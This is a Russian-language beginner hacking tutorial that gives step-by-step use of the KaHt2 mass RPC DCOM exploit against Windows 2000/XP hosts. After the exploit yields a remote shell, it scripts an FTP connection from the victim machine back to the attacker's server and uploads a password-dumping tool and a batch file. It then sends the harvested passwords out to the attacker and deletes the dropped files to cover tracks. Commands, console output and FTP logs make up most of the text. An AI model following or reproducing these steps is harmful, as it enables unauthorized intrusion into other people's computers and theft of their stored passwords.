KaHt2 Берем что хотим
[Хакерство для новичков]

НУ так вот приступим: КаХт2!
Этот эксплоит испульзует всем известную дырку RPC DCOM в виндуса 2000 и ХП. Дырка эта конечно старая, и уже выпущенно большое количество исправлений. Но она остаётся актуальной (по крайней мере на моём прове много кого можно найти с этой темой). И мы можем пользоваться этой дырой до тех пор пока в сети будут сидеть под вынь 2000 и ХП. Короче, что нам понадобится? Да практически ничего, а именно это сам КаНт2, потом PassViev (только PRO версия, иначе ничего не получится) и естесственно программа FTP сервер, под названием pablos_ftp_server (я использовал версию 1_52). Ну вот и всё. Значит ищем всё это в инете. НАшли? Продолжаем.

Для удобства пользования Размещаем софт по винту в определённом порядке. Сам FTPServer, kaHt2.exe и EXPORT.BAT ставим в директорию C:/., А PassViev суём в папку C:/TEMP (Если её нет, то создайте сами) и переименовываем PassViev.exe в 6.exe (для большего удобства), или в любое другое, на ваш выбор, главное что бы вы потом не мучались набирать это в командной строке.

EXPORT.BAT должен находится в одном архиве с КаХтом, если же всё-таки не нашли то создаём EXPORT.BAT файл своими руками в любимом блокноте с текстом

```
@Echo off
6.exe Export.txt
```

и сохраняем как EXPORT.BAT. Всё Батник готов. Заметьте: во второй строке стоит 6.exe, это то имя в которое вы переименовали свой PassViev. Если Вы переименовали в другое то в напишите именно его в батнике EXPORT.BAT.

Теперь давайте настроим FTP сервер на своём компутере. Запустите FTPServer и войдите в User accounts, нажимаем ADD, Вас просят ввести имя юзера, пишем: a. Далее вас просят выбрать каталог куда будут заливатся стыренные файлы, выберете папку темп которую мы недавно с Вами создавали на диске ЦЕ. Потом Вас просят ввести пароль для юзера a, парольставим тоже: a. Потом проставляем везде галочки. Теперь все изменения сохраняем и приступаем к основным действиям.

Открываем диск C:, убеждаемся что там присутствует КаХт. Потом Запускаем командную строку (пуск>программы>стандартные>командная строка). Перетаскиваем КаХт с папки в комндную строку (нажмите на КаХт левой кнопкой мыши и перетеащите в окно консоли).
Далее появляется текст: C:>C:kahHt2.exe
Продолжаем эту строку: пробел
Должно получится: C:>C:kaHt2.exe 192.168.0.1 192.168.0.245 (пример на моей локалке, у Вас же диапазон может быть другой)
Жмём Enter.

Перед Вами появляется:

```
_____________________________________________
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
PUBLIC VERSION :P
```

_____
[+] tARGETS : 192.168.0.1-192.168.0.245 WITH 50 tHREADS
[+] Attacking Port: 135. Remote Shell port: 32968
[+] Scan In Progress...
- Connecting to 192.168.0.8
Sending Exploit to a [WinXP] Server... FAILED
- Connecting to 192.168.0.13

ну короче говоря ещё всякое дерьмо появится которое нам не надо. В итоге когда сканер найдёт потенциальную жертву появится :

Microsoft Windows XP [Версия 5.1.2600]
(C) Корпорация Майкрософт, 1985-2001.
C:windowssystem32>

Всё, можешь радоваться, ты на чужом компе в директории SYSTEM32.
Далее в консоли пишем:
cd.. Жмём Enter видим C:windows>
cd..Жмём Enter видим C:

Теперь с помощью команды cd program files перейдём в папку C:Program Files.
Видим:
C:Program files сюда мы перешли чтоб особо не палится
Далее узнаём свой IP адрес. Для премера будем использовать мой в локалке 192.168.0.7
Пишем в консоли:
C:Program files>echo open 57.66.158.44>go.txt&&echo a>>go.txt&&echo a>>go.txt
жмем Enter
Видим: C:Program files>
Это мы с Вами создали текстовый документ (он нам понадобится для соединения с вашим FTP сервером) в папке Program files на удалённой машине, в котором содержится 3 строки:
open 57.66.158.44
a
a
Буквы a, это имя и пароль которые Вы создали в FTPServer`e.

Теперь запускаем FTPServer , нажимаем на зелёную стрелочку в левом верхнем углу программы. Вам написали, что сервер запущен.
Теперь коннектим удалённый комп к себе по FTP.
Пишем в командной строке:
C:Program files>ftp -s:go.txt
В своём FTP сервере, в раздел Server Log ты должен увидеть следующее:

FTP Server started on port 21
[3892] Client connected from IP
[3892] Welcome to Pablo's FTP Server
[3892] USER a
[3892] 331 Password required for a
[3892] PASS a
[3892] 230 User successfully logged in.

Это всё означает, что ты всё правильно сделал и законнектил вражеский комп к себе на ФТП, далее на надо залить PAssView.exe (мы переименовали его в 6.exe) на этот комп.
Пишем get 6.exe жмём Enter
В своём FTP сервере, в раздел Server Log ты должен увидеть следующее:
[1456] PORT IP
[1456] 200 Port command successful.
[1456] STOR 6.exe
[1456] 150 Opening BINARY mode data connection for file transfer
[1456] 226 Transfer complee

В консоли Пишем get export.bat жмём Enter - это мы отправили наш батник, видим В своём FTP сервере, в раздел Server Log ты должен увидеть следующее
[1456] PORT IP
[1456] 200 Port command successful.
[1456] STOR Export.bat
[1456] 150 Opening BINARY mode data connection for file transfer
[1456] 226 Transfer complee

Всё, мы отправили необходимые файлы на комп жертвы.
Теперь пишем bye - это мы отсоединяем комп от нашего ФТП сервера.

и снова мы видим:
C:Program files>
Пишем C:Program files>export.bat это мы запустили export.bat который соберёт нам все наши пароли и сохранит их в файле export.txt
Для больше уверенности в том что export.txt уже создан наберите в консоли:
C:Program files>dir
И Вы увидите все файлы и папки в директории C:Program files, там же увидите и наши закаченные файлы.

И наконец последний шаг.
Снова коннектим комп по ФТП:
C:Program files>ftp -s:go.txt жмём Enter
В своём FTP сервере, в раздел Server Log ты должен увидеть следующее:
Вы снова увидите:
FTP Server started on port 21
[3892] Client connected from IP
[3892] Welcome to Pablo's FTP Server
[3892] USER a
[3892] 331 Password required for a
[3892] PASS a
[3892] 230 User successfully logged in.

Сразу после этого в консоли вводите:
send export.txt
В своём FTP сервере, в раздел Server Log ты должен увидеть следующее:
[1456] PORT IP
[1456] 200 Port command successful.
[1456] STOR export.txt
[1456] 150 Opening BINARY mode data connection for file transfer.
[1456] 226 Transfer complete

Это означает что мы скопривали себе в папку TEMP,которую создавали на диске ЦЕ, файл export.txt

Далее заметаем следы:
пишем bye жмём ввод
И снова видим:
C:Program files>
Далее поочерёдно вводим команды для удаления закаченных нами файлов:
del go.txt
del 6.exe
del export.bat
del export.txt

Ну вот и всё.

Удачи!

Tarakanizator (aka Alexdirty) mazafuckin@mail.ru

Tarakanizator (aka Alexdirty)